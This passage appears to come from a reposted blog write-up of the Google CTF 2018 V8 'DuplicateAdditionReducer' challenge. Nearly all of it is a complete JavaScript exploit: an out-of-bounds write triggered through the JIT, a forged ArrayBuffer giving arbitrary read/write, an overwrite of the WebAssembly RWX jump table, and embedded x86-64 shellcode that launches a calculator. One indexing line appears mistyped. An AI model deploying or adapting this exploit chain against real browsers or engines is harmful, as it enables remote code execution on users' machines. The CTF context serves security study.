0x00002fac7911eb98    0x00002073d820bc69    FOREIGN_TYPE    
0x00002fac7911eba0    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eba8    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911ebb0    0x00000cdfc00801d1    ODDBALL_TYPE    
0x00002fac7911ebb8    0x00002dc289f94d21    CODE_TYPE    
0x00002fac7911ebc0    0x0000000000000000    
0x00002fac7911ebc8    0x00007f9f9cf60000    
0x00002fac7911ebd0    0x0000000000010000    
0x00002fac7911ebd8    0x000000000000ffff    
0x00002fac7911ebe0    0x0000556b3a3e0c00    
0x00002fac7911ebe8    0x0000556b3a3ea630    
0x00002fac7911ebf0    0x0000556b3a3ea620    
0x00002fac7911ebf8    0x0000556b3a47c210    
0x00002fac7911ec00    0x0000000000000000    
0x00002fac7911ec08    0x0000556b3a47c230    
0x00002fac7911ec10    0x0000000000000000    
0x00002fac7911ec18    0x0000000000000000    
0x00002fac7911ec20    0x0000087e7c50a000    JumpTableStart [RWX]  // ---
0x00002fac7911ec28    0x0000556b3a47c250    
0x00002fac7911ec30    0x0000556b3a47afa0    
0x00002fac7911ec38    0x0000556b3a47afc0    
----- [ TUPLE2_TYPE : 0x18 ] -----
0x00002fac7911ec40    0x00000cdfc00827c9    MAP_TYPE    
0x00002fac7911ec48    0x00002fac7911eb29    WASM_INSTANCE_TYPE    
0x00002fac7911ec50    0x00002073d820b849    JS_FUNCTION_TYPE    
----- [ WASM_MEMORY_TYPE : 0x30 ] -----
0x00002fac7911ec58    0x00001024ebc89e11    MAP_TYPE    
0x00002fac7911ec60    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911ec68    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
52417812097833

That gives us the following offsets:

let WasmOffsets = { 
  shared_function_info : 3,
  wasm_exported_function_data : 1,
  wasm_instance : 2,
  jump_table_start : 31
};

Now simply find the JumpTableStartpointer and modify your crafted ArrayBufferto overwrite this memory and copy your shellcode in it. Of course, you may want to backup the memory before so as to restore it after!

exp

// spawn gnome calculator
let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00];

let WasmOffsets = { 
  shared_function_info : 3,
  wasm_exported_function_data : 1,
  wasm_instance : 2,
  jump_table_start : 31
};

let log = this.print;

let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);

let f2i = (f) => {
  fv[0] = f;
  return dv[0];
}

let i2f = (i) => {
  dv[0] = BigInt(i);
  return fv[0];
}

let tagFloat = (f) => {
  fv[0] = f;
  dv[0] += 1n;
  return fv[0];
}

let hexprintablei = (i) => {
  return (i).toString(16).padStart(16,"0");
}

let assert = (l,r,m) => {
  if (l != r) {
    log(hexprintablei(l) + " != " +  hexprintablei(r));
    log(m);
    throw "failed assert";
  }
  return true;
}

let NEW_LENGTHSMI = 0x64;
let NEW_LENGTH64  = 0x0000006400000000;

let AB_LENGTH = 0x100;

let MARK1SMI = 0x13;
let MARK2SMI = 0x37;
let MARK1 = 0x0000001300000000;
let MARK2 = 0x0000003700000000;

let ARRAYBUFFER_SIZE = 0x40;
let PTR_SIZE = 8;

let opt_me = (x) => {
  let MAGIC = 1.1; // don't move out of scope
  let arr = new Array(MAGIC,MAGIC,MAGIC);
  arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays
  evil_ab = new ArrayBuffer(AB_LENGTH);
  packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd);
  let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
  let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992
  z = z + 1 + 1 + 1;
  z = z - (4503599627370495*2); 

  // may trigger the OOB R/W

  let leak = arr[z];
  arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length

  //  when leak == MAGIC, we are ready to exploit

  if (leak != MAGIC) {

    // [1] we should have corrupted arr2.length, we want to check it

    assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption");
    assert(arr2.length, NEW_LENGTHSMI);

    log("[+] corrupted JSArray's length");

    // [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer

    let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH));

    // check if the memory layout is consistent

    assert(ab_len_idx != -1, true, "could not find array buffer");
    assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false);
    assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true);
    assert(f2i(arr2[ab_len_idx + 2]), 2);

    let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]);
    let fbackingstore_ptr = arr2[ab_len_idx + 1];

    // copy the array buffer so as to prepare a good looking fake array buffer

    let view = new BigUint64Array(evil_ab);
    for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
      view[i] = f2i(arr2[ab_len_idx-3+i]);
    }

    log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr));

    // [3] corrupt packed_elements_array to replace the pointer to the Math object
    // by a pointer to our fake object located in our evil_ab array buffer

    let magic_mark_idx = arr2.indexOf(i2f(MARK1));
    assert(magic_mark_idx != -1, true, "could not find object pointer mark");
    assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true);
    arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr);

    // [4] leak wasm function pointer 

    let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd

    log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr)));
    view[4] = f2i(ftagged_wasm_func_ptr)-1n;

    // [5] use RW primitive to find WASM RWX memory


    let rw_view = new BigUint64Array(packed_elements_array[1]);
    let shared_function_info = rw_view[WasmOffsets.shared_function_info];
    view[4] = shared_function_info - 1n; // detag pointer

    rw_view = new BigUint64Array(packed_elements_array[1]);
    let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];
    view[4] = wasm_exported_function_data - 1n; // detag

    rw_view = new BigUint64Array(packed_elements_array[1]);
    let wasm_instance = rw_view[WasmOffsets.wasm_instance];
    view[4] = wasm_instance - 1n; // detag

    rw_view = new BigUint64Array(packed_elements_array[1]);
    let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag

    assert(jump_table_start > 0x10000n, true);
    assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer

    log("[+] found RWX memory at 0x" + jump_table_start.toString(16));

    view[4] = jump_table_start;
    rw_view = new Uint8Array(packed_elements_array[1]);

    // [6] write shellcode in RWX memory

    for (let i = 0; i < shellcode.length; ++i) {
      rw_view[i] = shellcode[I];
    }

    // [7] PWND!

    let res = get_pwnd();

    print(res);

  }
  return leak;
}

(() => {
  assert(this.alert, undefined); // only v8 is supported
  assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0
  // exploit is the same for both windows and linux, only shellcodes have to be changed 
  // architecture is expected to be 64 bits
})()

// needed for RWX memory

load("wasm.js");

opt_me("");
for (var i = 0; i < 0x10000; ++i) // trigger optimization
  opt_me("");
let res = opt_me("foo");

参考链接

  • https://github.com/JeremyFetiveau/pwn-just-in-time-exploit

  • %DumpObjects() https://github.com/JeremyFetiveau/debugging-tools/tree/master/v8_doare-helpers

  • V8's TurboFan documentation

  • Benedikt Meurer's talks

  • Mathias Bynen's website

  • This article on ponyfoo

  • Vyacheslav Egorov's website

  • Samuel Groß's 2018 BlackHat talk on attacking client side JIT compilers

  • Andrea Biondo's write up on the Math.expm1 TurboFan bug

  • Jay Bosamiya's write up on the Math.expm1 TurboFan bug

你可能感兴趣的:(Google CTF 2018 DuplicateAdditionReducer)